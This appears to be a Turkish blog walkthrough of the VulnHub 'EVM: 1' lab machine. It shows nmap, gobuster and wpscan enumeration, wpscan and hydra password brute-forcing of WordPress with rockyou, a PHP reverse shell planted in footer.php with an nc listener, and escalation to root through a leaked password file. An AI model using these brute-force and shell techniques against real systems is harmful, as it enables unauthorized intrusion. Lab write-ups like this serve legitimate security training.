https:\/\/download.vulnhub.com\/evm\/EVM.ova<\/a><\/p>\nWalkthrough<\/h2>\n
Makineyi tespit ederek ba\u015flayal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# arp-scan -l 130 \u2a2f\nInterface: eth0, type: EN10MB, MAC: 08:00:27:8b:5e:fb, IPv4: 192.168.110.3\nStarting arp-scan 1.9.7 with 256 hosts (https:\/\/github.com\/royhills\/arp-scan)\n192.168.110.1 0a:00:27:00:00:0e (Unknown: locally administered)\n192.168.110.2 08:00:27:75:e0:f1 PCS Systemtechnik GmbH\n192.168.110.6 08:00:27:0a:23:f8 PCS Systemtechnik GmbH\n\n3 packets received by filter, 0 packets dropped by kernel\nEnding arp-scan 1.9.7: 256 hosts scanned in 2.025 seconds (126.42 hosts\/sec). 3 responded\n<\/code><\/pre>\nnmap taramas\u0131 ile devam edelim.<\/p>\n
[*] Scan: 211\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-13 19:44 EDT\nNmap scan report for 192.168.110.6\nHost is up (0.00028s latency).\nNot shown: 65528 closed ports\nPORT STATE SERVICE VERSION\n22\/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n| 2048 a2:d3:34:13:62:b1:18:a3:dd:db:35:c5:5a:b7:c0:78 (RSA)\n| 256 85:48:53:2a:50:c5:a0:b7:1a:ee:a4:d8:12:8e:1c:ce (ECDSA)\n|_ 256 36:22:92:c7:32:22:e3:34:51:bc:0e:74:9f:1c:db:aa (ED25519)\n53\/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)\n| dns-nsid: \n|_ bind.version: 9.10.3-P4-Ubuntu\n80\/tcp open http Apache httpd 2.4.18 ((Ubuntu))\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n|_http-title: Apache2 Ubuntu Default Page: It works\n110\/tcp open pop3 Dovecot pop3d\n|_pop3-capabilities: RESP-CODES CAPA SASL TOP AUTH-RESP-CODE PIPELINING UIDL\n139\/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n143\/tcp open imap Dovecot imapd\n|_imap-capabilities: ENABLE listed more have IMAP4rev1 post-login capabilities LOGIN-REFERRALS Pre-login LOGINDISABLEDA0001 ID OK SASL-IR LITERAL+ IDLE\n445\/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)\nMAC Address: 08:00:27:0A:23:F8 (Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.9\nNetwork Distance: 1 hop\nService Info: Host: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n|_clock-skew: mean: 1h19m58s, deviation: 2h18m34s, median: -2s\n|_nbstat: NetBIOS name: UBUNTU-EXTERMEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)\n| smb-os-discovery: \n| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)\n| Computer name: ubuntu-extermely-vulnerable-m4ch1ine\n| NetBIOS computer name: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE\\x00\n| Domain name: \\x00\n| FQDN: ubuntu-extermely-vulnerable-m4ch1ine\n|_ System time: 2021-07-13T19:44:42-04:00\n| smb-security-mode: \n| account_used: guest\n| authentication_level: user\n| challenge_response: supported\n|_ message_signing: disabled (dangerous, but default)\n| smb2-security-mode: \n| 2.02: \n|_ Message signing enabled but not required\n| smb2-time: \n| date: 2021-07-13T23:44:42\n|_ start_date: N\/A\n\nTRACEROUTE\nHOP RTT ADDRESS\n1 0.28 ms 192.168.110.6\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 35.98 seconds\n<\/code><\/pre>\nenum4linux ile smb’den kullan\u0131c\u0131 yakalad\u0131m. Ancak hydra ile ssh’ta ba\u015far\u0131l\u0131 olamad\u0131m. Yakalad\u0131\u011f\u0131m kullan\u0131c\u0131 a\u015fa\u011f\u0131adad\u0131r.<\/p>\n
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''\nS-1-22-1-1000 Unix User\\rooter (Local User)<\/code><\/pre>\nsmb ile bir klas\u00f6re eri\u015fimimde yoktu. Bunun \u00fczerine smb’yi b\u0131rakt\u0131m. Web ile ilgilnmeye ba\u015flad\u0131\u011f\u0131mda bir wordpress yakalad\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/evm]\n\u2514\u2500# gobuster dir --url http:\/\/192.168.110.6\/ --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist \/usr\/share\/wordlists\/dirb\/big.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log,cgi --expanded --add-slash | tee gobuster1\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url: http:\/\/192.168.110.6\/\n[+] Method: GET\n[+] Threads: 50\n[+] Wordlist: \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes: 404\n[+] User Agent: gobuster\/3.1.0\n[+] Extensions: py,rar,7z,sql,zip,bak,txt,php5,log,php,html,cgi\n[+] Add Slash: true\n[+] Follow Redirect: true\n[+] Expanded: true\n[+] Timeout: 10s\n===============================================================\n2021\/07\/13 18:08:46 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/192.168.110.6\/.htpasswd.7z (Status: 403) [Size: 300]\nhttp:\/\/192.168.110.6\/.htpasswd.zip (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htpasswd.bak (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htpasswd.txt (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htpasswd.py (Status: 403) [Size: 300]\nhttp:\/\/192.168.110.6\/.htpasswd.log (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htpasswd\/ (Status: 403) [Size: 298]\nhttp:\/\/192.168.110.6\/.htpasswd.php (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htpasswd.html (Status: 403) [Size: 302]\nhttp:\/\/192.168.110.6\/.htpasswd.cgi (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htpasswd.rar (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htpasswd.sql (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htpasswd.php5 (Status: 403) [Size: 302]\nhttp:\/\/192.168.110.6\/.htaccess.php5 (Status: 403) [Size: 302]\nhttp:\/\/192.168.110.6\/.htaccess.rar (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htaccess.sql (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htaccess.zip (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htaccess.bak (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htaccess.txt (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htaccess.log (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htaccess.html (Status: 403) [Size: 302]\nhttp:\/\/192.168.110.6\/.htaccess.cgi (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htaccess.php (Status: 403) [Size: 301]\nhttp:\/\/192.168.110.6\/.htaccess\/ (Status: 403) [Size: 298]\nhttp:\/\/192.168.110.6\/.htaccess.py (Status: 403) [Size: 300]\nhttp:\/\/192.168.110.6\/.htaccess.7z (Status: 403) [Size: 300]\nhttp:\/\/192.168.110.6\/icons\/ (Status: 403) [Size: 294]\nhttp:\/\/192.168.110.6\/index.html (Status: 200) [Size: 10821]\nhttp:\/\/192.168.110.6\/info.php (Status: 200) [Size: 82925]\nhttp:\/\/192.168.110.6\/server-status\/ (Status: 403) [Size: 302] \nhttp:\/\/192.168.110.6\/wp-config.php (Status: 500) [Size: 0] \nhttp:\/\/192.168.110.6\/wordpress\/ (Status: 200) [Size: 15076]\n\n===============================================================\n2021\/07\/13 18:09:22 Finished\n===============================================================\n<\/code><\/pre>\nWordPress’e gitti\u011fimde wpscan ile bir kullan\u0131c\u0131 elde ettim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/evm]\n\u2514\u2500# wpscan --url http:\/\/192.168.110.6\/wordpress\/ -e vp,vt,cb,dbe,u,m 1 \u2a2f\n_______________________________________________________________\n __ _______ _____\n \\ \\ \/ \/ __ \\ \/ ____|\n \\ \\ \/\\ \/ \/| |__) | (___ ___ __ _ _ __ \u00ae\n \\ \\\/ \\\/ \/ | ___\/ \\___ \\ \/ __|\/ _` | '_ \\\n \\ \/\\ \/ | | ____) | (__| (_| | | | |\n \\\/ \\\/ |_| |_____\/ \\___|\\__,_|_| |_|\n\n WordPress Security Scanner by the WPScan Team\n Version 3.8.17\n Sponsored by Automattic - https:\/\/automattic.com\/\n @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart\n_______________________________________________________________\n\n[i] It seems like you have not updated the database for some time.\n[?] Do you want to update now? [Y]es [N]o, default: [N]n\n[+] URL: http:\/\/192.168.110.6\/wordpress\/ [192.168.110.6]\n[+] Started: Tue Jul 13 18:11:09 2021\n\nInteresting Finding(s):\n\n[+] Headers\n | Interesting Entry: Server: Apache\/2.4.18 (Ubuntu)\n | Found By: Headers (Passive Detection)\n | Confidence: 100%\n\n[+] XML-RPC seems to be enabled: http:\/\/192.168.110.6\/wordpress\/xmlrpc.php\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n | References:\n | - http:\/\/codex.wordpress.org\/XML-RPC_Pingback_API\n | - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_ghost_scanner\/\n | - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/dos\/http\/wordpress_xmlrpc_dos\/\n | - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_xmlrpc_login\/\n | - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_pingback_access\/\n\n[+] WordPress readme found: http:\/\/192.168.110.6\/wordpress\/readme.html\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n\n[+] Upload directory has listing enabled: http:\/\/192.168.110.6\/wordpress\/wp-content\/uploads\/\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n\n[+] The external WP-Cron seems to be enabled: http:\/\/192.168.110.6\/wordpress\/wp-cron.php\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 60%\n | References:\n | - https:\/\/www.iplocation.net\/defend-wordpress-from-ddos\n | - https:\/\/github.com\/wpscanteam\/wpscan\/issues\/1299\n\n[+] WordPress version 5.2.4 identified (Insecure, released on 2019-10-14).\n | Found By: Emoji Settings (Passive Detection)\n | - http:\/\/192.168.110.6\/wordpress\/, Match: 'wp-includes\\\/js\\\/wp-emoji-release.min.js?ver=5.2.4'\n | Confirmed By: Meta Generator (Passive Detection)\n | - http:\/\/192.168.110.6\/wordpress\/, Match: 'WordPress 5.2.4'\n\n[i] The main theme could not be detected.\n\n[+] Enumerating Vulnerable Plugins (via Passive Methods)\n\n[i] No plugins Found.\n\n[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)\n Checking Known Locations - Time: 00:00:00 <==============================================================================> (352 \/ 352) 100.00% Time: 00:00:00\n\n[i] No themes Found.\n\n[+] Enumerating Config Backups (via Passive and Aggressive Methods)\n Checking Config Backups - Time: 00:00:00 <===============================================================================> (137 \/ 137) 100.00% Time: 00:00:00\n\n[i] No Config Backups Found.\n\n[+] Enumerating DB Exports (via Passive and Aggressive Methods)\n Checking DB Exports - Time: 00:00:00 <=====================================================================================> (71 \/ 71) 100.00% Time: 00:00:00\n\n[i] No DB Exports Found.\n\n[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)\n Brute Forcing Attachment IDs - Time: 00:00:00 <==========================================================================> (100 \/ 100) 100.00% Time: 00:00:00\n\n[i] No Medias Found.\n\n[+] Enumerating Users (via Passive and Aggressive Methods)\n Brute Forcing Author IDs - Time: 00:00:00 <================================================================================> (10 \/ 10) 100.00% Time: 00:00:00\n\n[i] User(s) Identified:\n\n[+] c0rrupt3d_brain\n | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)\n | Confirmed By: Login Error Messages (Aggressive Detection)\n\n[!] No WPScan API Token given, as a result vulnerability data has not been output.\n[!] You can get a free API token with 25 daily requests by registering at https:\/\/wpscan.com\/register\n\n[+] Finished: Tue Jul 13 18:11:13 2021\n[+] Requests Done: 709\n[+] Cached Requests: 4\n[+] Data Sent: 194.327 KB\n[+] Data Received: 196.716 KB\n[+] Memory used: 221.93 MB\n[+] Elapsed time: 00:00:03\n<\/code><\/pre>\nBurada insan\u0131 \u00e7ileden \u00e7\u0131akran bir durum var. WordPress ile i\u015flem yapmay\u0131 denedi\u011f\u015fmde beni s\u00fcrekli olarak 192.168.56.103<\/strong> ip’sine y\u00f6nlendiriyordu. Bunun \u00fczerine burp ile araya girip s\u00fcrekli olarak 192.168.110.6<\/strong> ip adresine y\u00f6nelndirdim.<\/p>\nWordPress’ten yakalad\u0131\u011f\u0131m kullan\u0131c\u0131 ile parola tespit etmeyi denedim ve ba\u015far\u0131l\u0131 oldum.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/evm]\n\u2514\u2500# wpscan --url http:\/\/192.168.110.6\/wordpress --password-attack wp-login --passwords \/usr\/share\/wordlists\/rockyou.txt --usernames user \n_______________________________________________________________\n __ _______ _____\n \\ \\ \/ \/ __ \\ \/ ____|\n \\ \\ \/\\ \/ \/| |__) | (___ ___ __ _ _ __ \u00ae\n \\ \\\/ \\\/ \/ | ___\/ \\___ \\ \/ __|\/ _` | '_ \\\n \\ \/\\ \/ | | ____) | (__| (_| | | | |\n \\\/ \\\/ |_| |_____\/ \\___|\\__,_|_| |_|\n\n WordPress Security Scanner by the WPScan Team\n Version 3.8.17\n Sponsored by Automattic - https:\/\/automattic.com\/\n @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart\n_______________________________________________________________\n\n[i] It seems like you have not updated the database for some time.\n[?] Do you want to update now? [Y]es [N]o, default: [N]n\n[+] URL: http:\/\/192.168.110.6\/wordpress\/ [192.168.110.6]\n[+] Started: Tue Jul 13 18:48:30 2021\n\nInteresting Finding(s):\n\n[+] Headers\n | Interesting Entry: Server: Apache\/2.4.18 (Ubuntu)\n | Found By: Headers (Passive Detection)\n | Confidence: 100%\n\n[+] XML-RPC seems to be enabled: http:\/\/192.168.110.6\/wordpress\/xmlrpc.php\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n | References:\n | - http:\/\/codex.wordpress.org\/XML-RPC_Pingback_API\n | - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_ghost_scanner\/\n | - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/dos\/http\/wordpress_xmlrpc_dos\/\n | - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_xmlrpc_login\/\n | - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_pingback_access\/\n\n[+] WordPress readme found: http:\/\/192.168.110.6\/wordpress\/readme.html\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n\n[+] Upload directory has listing enabled: http:\/\/192.168.110.6\/wordpress\/wp-content\/uploads\/\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n\n[+] The external WP-Cron seems to be enabled: http:\/\/192.168.110.6\/wordpress\/wp-cron.php\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 60%\n | References:\n | - https:\/\/www.iplocation.net\/defend-wordpress-from-ddos\n | - https:\/\/github.com\/wpscanteam\/wpscan\/issues\/1299\n\n[+] WordPress version 5.2.4 identified (Insecure, released on 2019-10-14).\n | Found By: Emoji Settings (Passive Detection)\n | - http:\/\/192.168.110.6\/wordpress\/, Match: 'wp-includes\\\/js\\\/wp-emoji-release.min.js?ver=5.2.4'\n | Confirmed By: Meta Generator (Passive Detection)\n | - http:\/\/192.168.110.6\/wordpress\/, Match: 'WordPress 5.2.4'\n\n[i] The main theme could not be detected.\n\n[+] Enumerating All Plugins (via Passive Methods)\n\n[i] No plugins Found.\n\n[+] Enumerating Config Backups (via Passive and Aggressive Methods)\n Checking Config Backups - Time: 00:00:00 <===============================================================================> (137 \/ 137) 100.00% Time: 00:00:00\n\n[i] No Config Backups Found.\n\n[+] Performing password attack on Wp Login against 1 user\/s\n[SUCCESS] - c0rrupt3d_brain \/ 24992499 \nTrying c0rrupt3d_brain \/ 757575 Time: 00:05:17 < > (10700 \/ 14355092) 0.07% ETA: ??:??:??\n\n[!] Valid Combinations Found:\n | Username: c0rrupt3d_brain, Password: 24992499\n\n[!] No WPScan API Token given, as a result vulnerability data has not been output.\n[!] You can get a free API token with 25 daily requests by registering at https:\/\/wpscan.com\/register\n\n[+] Finished: Tue Jul 13 18:53:51 2021\n[+] Requests Done: 10839\n[+] Cached Requests: 30\n[+] Data Sent: 3.834 MB\n[+] Data Received: 48.303 MB\n[+] Memory used: 259.5 MB\n[+] Elapsed time: 00:05:21\n<\/code><\/pre>\n\u0130lk i\u015fim ip adresini Settings > General’den de\u011fi\u015ftirmek oldu. Art\u0131k wordpress’i normal bir \u015fekilde kullanabiliyorum. Bunun \u00fczerine footer.php’ye php reverse shell ekledim ve shell ald\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/evm]\n\u2514\u2500# nc -lvp 1234 \nlistening on [any] 1234 ...\n192.168.110.6: inverse host lookup failed: Host name lookup failure\nconnect to [192.168.110.3] from (UNKNOWN) [192.168.110.6] 51520\nLinux ubuntu-extermely-vulnerable-m4ch1ine 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU\/Linux\n 19:39:35 up 2:04, 0 users, load average: 10.30, 10.12, 9.77\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\/bin\/sh: 0: can't access tty; job control turned off\n$ id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n$ whoami\nwww-data\n<\/code><\/pre>\nSonras\u0131 a\u00e7\u0131k\u00e7as\u0131 hayal k\u0131r\u0131l\u0131\u011f\u0131 kolay bir \u015fekilde root olabildim.<\/p>\n
www-data@ubuntu-extermely-vulnerable-m4ch1ine:\/home\/root3r$ ls\nls\ntotal 40\ndrwxr-xr-x 3 www-data www-data 4096 Nov 1 2019 .\ndrwxr-xr-x 3 root root 4096 Oct 30 2019 ..\n-rw-r--r-- 1 www-data www-data 515 Oct 30 2019 .bash_history\n-rw-r--r-- 1 www-data www-data 220 Oct 30 2019 .bash_logout\n-rw-r--r-- 1 www-data www-data 3771 Oct 30 2019 .bashrc\ndrwxr-xr-x 2 www-data www-data 4096 Oct 30 2019 .cache\n-rw-r--r-- 1 www-data www-data 22 Oct 30 2019 .mysql_history\n-rw-r--r-- 1 www-data www-data 655 Oct 30 2019 .profile\n-rw-r--r-- 1 www-data www-data 8 Oct 31 2019 .root_password_ssh.txt\n-rw-r--r-- 1 www-data www-data 0 Oct 30 2019 .sudo_as_admin_successful\n-rw-r--r-- 1 root root 4 Nov 1 2019 test.txt\nwww-data@ubuntu-extermely-vulnerable-m4ch1ine:\/home\/root3r$ cat tes \ncat test.txt \n123\nwww-data@ubuntu-extermely-vulnerable-m4ch1ine:\/home\/root3r$ cat .root_password_ssh.txt\n<ulnerable-m4ch1ine:\/home\/root3r$ cat .root_password_ssh.txt \nwilly26\nwww-data@ubuntu-extermely-vulnerable-m4ch1ine:\/home\/root3r$ su root\nsu root\nPassword: willy26\n\nroot@ubuntu-extermely-vulnerable-m4ch1ine:\/home\/root3r# id\nid\nuid=0(root) gid=0(root) groups=0(root)\nroot@ubuntu-extermely-vulnerable-m4ch1ine:\/home\/root3r# cd \/root\ncd \/root\nroot@ubuntu-extermely-vulnerable-m4ch1ine:~# ls\nls\nproof.txt\nroot@ubuntu-extermely-vulnerable-m4ch1ine:~# cat proof.txt\ncat proof.txt\nvoila you have successfully pwned me :) !!!\n:D\nroot@ubuntu-extermely-vulnerable-m4ch1ine:~# \n<\/code><\/pre>\nNot:<\/strong>
\nNormalde bruteforce sald\u0131r\u0131lar\u0131nda hydra ile \u00e7\u0131kt\u0131 al\u0131r\u0131m ancak burda wpscan koydum. Bunun sebebini a\u00e7\u0131klamak istiyorum. Kesinlikle hydra ile sald\u0131r\u0131 yararken proxy kullan\u0131lmas\u0131 gerekiyor. \u00c7\u00fcnk\u00fc hydra gelen cevaplar\u0131 i\u015flemekte olduk\u00e7a yava\u015f. Burp ile araya girdi\u011fimde 302<\/strong> stat\u00fc kodunu alm\u0131\u015ft\u0131m ancak hydra hala bunu ekrana basmam\u0131\u015ft\u0131. Ya da bir hata meydana geldi ancak hata meydana geldi\u011fini \u00e7ok d\u00fc\u015f\u00fcnm\u00fcyorum \u00e7\u00fcnk\u00fc i\u015flemi birka\u00e7 kez denedim. San\u0131r\u0131m html kodu olarak hydra’a belirtmek daha g\u00fcvenli sonu\u00e7 verebiliyor.<\/p>\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/evm]\n\u2514\u2500# hydra -l 'c0rrupt3d_brain' -P rockyou.txt 192.168.110.7 http-post-form '\/wordpress\/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:<div id="login_error">' \nHydra v9.1 (c) 2020 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2021-07-14 02:56:26\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1\/p:14344399), ~896525 tries per task\n[DATA] attacking http-post-form:\/\/192.168.110.7:80\/wordpress\/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:<div id="login_error">\n[STATUS] 2049.00 tries\/min, 2049 tries in 00:01h, 14342350 to do in 116:40h, 16 active\n[STATUS] 2030.33 tries\/min, 6091 tries in 00:03h, 14338308 to do in 117:43h, 16 active\n[80][http-post-form] host: 192.168.110.7 login: c0rrupt3d_brain password: 24992499\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2021-07-14 03:01:44\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: This is super friendly box intended for Beginner’s This works better with VirtualBox rather than VMware Vulnhub Sayfas\u0131: https:\/\/www.vulnhub.com\/entry\/evm-1,391\/ \u0130ndirme Sayfas\u0131:…<\/p>\n
Devam\u0131n\u0131 okuEVM: 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[],"class_list":["post-1344","post","type-post","status-publish","format-standard","hentry","category-walkthrough","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1344","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1344"}],"version-history":[{"count":3,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1344\/revisions"}],"predecessor-version":[{"id":1350,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1344\/revisions\/1350"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1344"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1344"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1344"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}